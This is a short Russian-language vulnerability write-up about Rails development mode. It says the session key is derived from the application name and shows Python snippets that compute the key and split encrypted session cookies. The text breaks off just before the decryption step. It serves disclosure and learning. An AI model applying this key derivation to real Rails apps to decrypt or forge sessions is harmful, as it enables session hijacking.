
Уязвимость может позволить злоумышленнику угадать автоматически сгенерированный секретный токен режима разработки.
Уязвимость может позволить злоумышленнику угадать автоматически сгенерированный секретный токен режима разработки.
Ruby-on-Rails при работе в режиме разработки. В режиме разработки злоумышленник может угадать ключ, используемый для защиты сессий.
Rails использует 3 окружения (development, test, production), когда приложение работает в режиме разработки, вы можете угадать секретный токен и расшифровать зашифрованную сессию.
Ключ, используемый для защиты сессии, выводится из имени приложения.
Пример:
rails new Jakom
Jakom: Имя приложения.
Таким образом, мы можем предположить, что ключ является результатом метода генерации:
PKDF2_HMAC_SHA1[ MD5 [ APPNAME + "::Application" ] , salt: "authenticated encrypted cookie" , iterations: 1000 , key's length: 32 ]
Как мы видим здесь:
key = pbkdf2_hmac("sha1", md5_name.encode("utf-8"), "authenticated encrypted cookie".encode("utf-8"), 1000, 32)
В Rails сессии шифруются с помощью AES-265-GCM, если у вас есть ключ, вы можете расшифровывать/шифровать сессии.
Последнее, что вам понадобится, это формат сессии:
BASE64 [ DATA ] -- BASE64 [ IV ] -- BASE64 [ AUTH_TAG ]
Как мы видим здесь:
data = binascii.hexlify(base64.b64decode(base64_data.split("--")[0])).decode("utf-8")
iv = binascii.hexlify(base64.b64decode(base64_data.split("--")[1])).decode("utf-8")
tag = binascii.hexlify(base64.b64decode(base64_data.split("--")[2])).decode("utf-8")
Первая часть куки сессии — это зашифрованные данные, вторая часть — IV, третья часть — GCM-тег (тег аутентификации).
Обладая этой информацией, мы можем расшифровать наши сессии напрямую:

